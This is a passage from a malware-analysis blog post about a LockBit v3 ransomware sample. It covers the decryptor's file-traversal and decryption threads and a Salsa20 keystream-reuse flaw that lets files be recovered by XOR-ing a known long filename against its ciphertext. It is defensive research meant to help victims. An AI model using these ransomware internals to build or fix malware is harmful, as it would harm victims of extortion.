line arguments and enumerates paths to decrypt files. The sample also creates multiple threads for decrypting and one for traversing and queueing files. These threads communicate asynchronously with each other using an <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports">IO completion port</a>.</p><p>At a high-level, the decryption threads work as follows:</p><ul><li><p>The file traversal and queueing logic starts at 0x00403CEC. For each file, it decrypts the key_encryption_info&nbsp;(see Footer structure) at address 0x00403960.&nbsp;Then, it obtains the&nbsp;file_encryption_key&nbsp;and the chunk counts before queueing the file.</p></li><li><p>The file decryption thread logic starts at 0x004030DC. It decrypts the chunks selected by the grouping algorithm using the&nbsp;file_encryption_key. Finally, when the entire file is processed, it removes the encrypted footer&nbsp;structure at the end of the file.</p></li></ul><h1>Flaws</h1><h2>Keystream reuse vulnerability</h2><p>This version of the LockBit&nbsp;v3&nbsp;ransomware has a keystream reuse vulnerability.</p><p>Instead of directly encrypting the file_encryption_info&nbsp;structure with RSA, the sample aims to reduce the number of slow RSA operations by adding another layer of Salsa20 encryption. This is where it makes a mistake that may allow the recovery of a portion of the data.</p><p>The sample generates a random Salsa20 key_encryption_key&nbsp; to encrypt the file_encryption_info&nbsp;structure once every 1,000 files as seen below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PsFg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PsFg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 424w, https://substackcdn.com/image/fetch/$s_!PsFg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 848w, https://substackcdn.com/image/fetch/$s_!PsFg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 1272w, https://substackcdn.com/image/fetch/$s_!PsFg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PsFg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png" width="1191" height="457" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/be8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:457,&quot;width&quot;:1191,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:49681,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PsFg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 424w, https://substackcdn.com/image/fetch/$s_!PsFg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 848w, https://substackcdn.com/image/fetch/$s_!PsFg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 1272w, https://substackcdn.com/image/fetch/$s_!PsFg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe8a1cec-11dd-4650-bcf7-625e481fc2a1_1191x457.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Therefore, the Salsa20&nbsp;algorithm would generate the same key stream for 1,000 files from the same key. Within these 1,000 files, if there is a file with a sufficiently long compressed filename, we can recover enough of the keystream to decrypt the file_encryption_info structure of other files with a much shorter compressed filename. This file_encryption_info structure contains the file_encryption_key&nbsp;to decrypt the file content. In other words, if we happen to have a file with a sufficiently long compressed filename, chances are we can recover the content of other files with shorter compressed filenames without the private key from the threat actor, i.e., without paying the ransom.</p><p>For example, we created two short text files for our test case:</p><ul><li><p>a.txt, whose compressed filename is:&nbsp; 61 e0 2e e0 74 e0 78 db 09 02 00 00</p></li><li><p>aABCDEFGHIJKLMNOPQRSTUVWXYZ[]^_`abcdefghijklmnopqrstuvwxyz{}~123456789.txt, whose compressed filename is shown below:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IEx8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IEx8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 424w, https://substackcdn.com/image/fetch/$s_!IEx8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 848w, https://substackcdn.com/image/fetch/$s_!IEx8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 1272w, https://substackcdn.com/image/fetch/$s_!IEx8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IEx8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png" width="1224" height="396" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:396,&quot;width&quot;:1224,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:82201,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!IEx8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 424w, https://substackcdn.com/image/fetch/$s_!IEx8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 848w, https://substackcdn.com/image/fetch/$s_!IEx8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 1272w, https://substackcdn.com/image/fetch/$s_!IEx8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F460a7ce8-42f1-40be-be48-16b6005bb2a3_1224x396.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li></ul><p>&nbsp; &nbsp;The content of the encrypted file with the longer file name is shown here:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5aSo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5aSo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 424w, https://substackcdn.com/image/fetch/$s_!5aSo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 848w, https://substackcdn.com/image/fetch/$s_!5aSo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 1272w, https://substackcdn.com/image/fetch/$s_!5aSo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5aSo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png" width="1011" height="1287" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1287,&quot;width&quot;:1011,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:379415,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!5aSo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 424w, https://substackcdn.com/image/fetch/$s_!5aSo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 848w, https://substackcdn.com/image/fetch/$s_!5aSo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 1272w, https://substackcdn.com/image/fetch/$s_!5aSo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2dd6cfe7-d1fc-4746-825b-3dd454547f7b_1011x1287.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Because we know the current filename, we can compute the plaintext compressed filename. XOR-ing the encrypted compressed filename with the plaintext compressed filename gives us the following keystream:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!44x_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!44x_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 424w, https://substackcdn.com/image/fetch/$s_!44x_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 848w, https://substackcdn.com/image/fetch/$s_!44x_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 1272w, https://substackcdn.com/image/fetch/$s_!44x_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!44x_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png" width="1416" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:1416,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:101591,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!44x_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 424w, https://substackcdn.com/image/fetch/$s_!44x_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 848w, https://substackcdn.com/image/fetch/$s_!44x_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 1272w, https://substackcdn.com/image/fetch/$s_!44x_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0131b85b-4e59-4603-affa-1f60d73351e2_1416x430.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The content of the encrypted a.txt is shown below with similar color-coded fields:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tw-o!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tw-o!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 424w, https://substackcdn.com/image/fetch/$s_!tw-o!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 848w, https://substackcdn.com/image/fetch/$s_!tw-o!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 1272w, https://substackcdn.com/image/fetch/$s_!tw-o!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tw-o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png" width="1456" height="764" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:764,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:249425,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!tw-o!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 424w, https://substackcdn.com/image/fetch/$s_!tw-o!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 848w, https://substackcdn.com/image/fetch/$s_!tw-o!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 1272w, https://substackcdn.com/image/fetch/$s_!tw-o!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89d73d83-3840-4db4-866f-9a57a4f19943_1598x838.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>XOR-ing the entire file_encryption_info block, starting at offset&nbsp; 0x0e to offset 0x6c with the keystream above would give us the following bytes:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hquq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hquq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 424w, https://substackcdn.com/image/fetch/$s_!hquq!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 848w, https://substackcdn.com/image/fetch/$s_!hquq!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 1272w, https://substackcdn.com/image/fetch/$s_!hquq!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hquq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F30009c49-abb8-4ce0-84c5-2da5abecfda8_1597x840.png" width="1456" height="766" 